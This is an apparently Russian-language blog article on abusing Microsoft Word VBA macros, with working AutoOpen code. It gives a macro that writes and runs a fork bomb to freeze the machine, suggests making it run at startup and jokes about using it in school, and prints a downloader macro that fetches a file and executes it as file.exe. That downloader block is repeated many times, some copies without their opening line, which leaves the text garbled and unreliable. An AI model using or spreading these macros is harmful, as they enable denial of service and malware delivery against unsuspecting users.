Опасность — Documents Microsoft Word

НОВОСТИ
2016-12-16 21:32:42
0
2.3K

В офисных документах Microsoft Word есть такая вещь как «макрос», который реализуется в Visual Basic для приложений, сокращёно VBA это язык программирования. VBA — это почти такой же основной визуальыйн язык, отличие только в том, что VB компилируется в исполняемый файл, а VBA нужен документ как носитель.

В моей предыдущей статье, я проанализировал .SVG изображения, котоыре используются в распространённых вредоносных программах. Изображения .SVG используют встроенный JavaScript, который работает в браузере, что создаёт некоторые оганичения. Таким образом VBA, так как работает как исполнемый файл, имеет больше разрешений.

Немного социальной инженерии необходимо, чтобы будущий потерпевший нажал кнопку включить, но я не думаю, что уговорить обычного пользователя сложно. Эта кнопка загружает и запускает скрипты. Нажав на кнопку включается содержимое достаточное для обеспечения устанвоки. Очень часто социальная инженерия делает фокус, суть которого в том, чтобы использовать универсальный вариант от Microsoft: включить макросы для просмотра содержимого.

Visual Basic — это на самом деле мощный язык программирования, я лично видел основные инстурменты удалённого администрирования написанные в Visual Basic. Однако, добавление такого вредоносного кода в документ, значительно увеличи тего размер. Кроме того, отсоединение от носителя документа является предпочтительным из-за некоторых ограничений. Следовательно загрузчик более подходит для хакеров. Кроме того, измнение нагрузки тоже возможно, потому что это делается на стороне сервера.

word-image-53

Простая шалость для демонстрации.

Это, как если бы Вы просматривали и записывали макросы: открыть документ -> View -> Macros.

word-image-55-1024x123

Если мы выбираем записать макрос, то мы имеем возможность назначить макрос на кнопку клавиатуры.

Но мы собираемся выбрать AutoOpen() вариант, так что мы не нуждаемся в этом, наш скрипт может выполнять только команды макросов. Например, этот скрипт открывает калькулятор при открытии документы.

Sub AutoOpen()

Shell («C:\Windows\system32\calc.exe»)

End Sub

Он будет просить разрешения, включая содержимое, только впервый раз. Он выполняется, а мы можем добавить бесконечный цикл, чтобы скрипт постоянно открывал всё новые и новые и новые калькуляторы.

Sub AutoOpen()

Do While true

Shell(«C:\Windows\system32\calc.exe»)

Loop

End Sub

Он остановится, как только закрыт документ, это легко и понятно. Этот скрипт создаёт запускает Forkbomb.bat, это кона баш скрипта, который выполнет некоторые команды, терминала. Forkbomb.bat начинается с двух копий, затем процесс станвоится интереснее, происходит экспоненциальный рост.

Sub AutoOpen()

Shell(«cmd.exe /S /K» & «echo %0^|%0 > forkbomb.bat»)

Shell(«cmd.exe /S /K» & «forkbomb.bat»)

End Sub

Который полностью истощает ресурсы компьютера, что становитяс причиной невозможности использования компьютера, что вызывает принудительную перезагрузку, которая необходима, и она убивает его.

word-image-57-1024x809

Вы ожидали чего то подобного? Вы можете продлить скрипт, чтобы запускать его, когда пк включился, и сразу начинать его засорять, выходом из этой ситуации будет только загрузка компьютера в безопасном режиме. Чую, кому-то будет весело на уроках информатики.

Скачать VBA и запустить файл при открытии

Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

xHttp.Open «GET», «http:///», False

xHttp.Send

With bStrm

.Type = 1 ‘//binary

.Open

.write xHttp.responseBody

.savetofile «file.exe», 2 ‘//overwrite

End With

Shell(«cmd.exe /S /K» & «file.exe»)

End Sub

Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

xHttp.Open «GET», «http:///», False

xHttp.Send

With bStrm

.Type = 1 ‘//binary

.Open

.write xHttp.responseBody

.savetofile «file.exe», 2 ‘//overwrite

End With

Shell(«cmd.exe /S /K» & «file.exe»)

End Sub

Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

xHttp.Open «GET», «http:///», False

xHttp.Send

With bStrm

.Type = 1 ‘//binary

.Open

.write xHttp.responseBody

.savetofile «file.exe», 2 ‘//overwrite

End With

Shell(«cmd.exe /S /K» & «file.exe»)

End Sub

Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

xHttp.Open «GET», «http:///», False

xHttp.Send

With bStrm

.Type = 1 ‘//binary

.Open

.write xHttp.responseBody

.savetofile «file.exe», 2 ‘//overwrite

End With

Shell(«cmd.exe /S /K» & «file.exe»)

End Sub

Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

xHttp.Open «GET», «http:///», False

xHttp.Send

With bStrm

.Type = 1 ‘//binary

.Open

.write xHttp.responseBody

.savetofile «file.exe», 2 ‘//overwrite

End With

Shell(«cmd.exe /S /K» & «file.exe»)

End Sub

Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

xHttp.Open «GET», «http:///», False

xHttp.Send

With bStrm

.Type = 1 ‘//binary

.Open

.write xHttp.responseBody

.savetofile «file.exe», 2 ‘//overwrite

End With

Shell(«cmd.exe /S /K» & «file.exe»)

End Sub

Простейшая загрузка скрипта, выполнит свою задачу простым путём включения содержимого документа.

Использование облочки file.exe, вызовет ошибку разрешения на Windows 10 в Word 2010. Однако, если я использую этот метод для моей бомбы

Программа загрузится нормально.

Заключение.

Макросы для Word немного ограничены визуально и в основе исполняемых файлов. С некоторой хитростью, его можно использовать для взлома системы, путём загрузки и выполнения "реального" файла ехе, макросы так же опасны, как и исполняемые файлы!

 

0
2.3K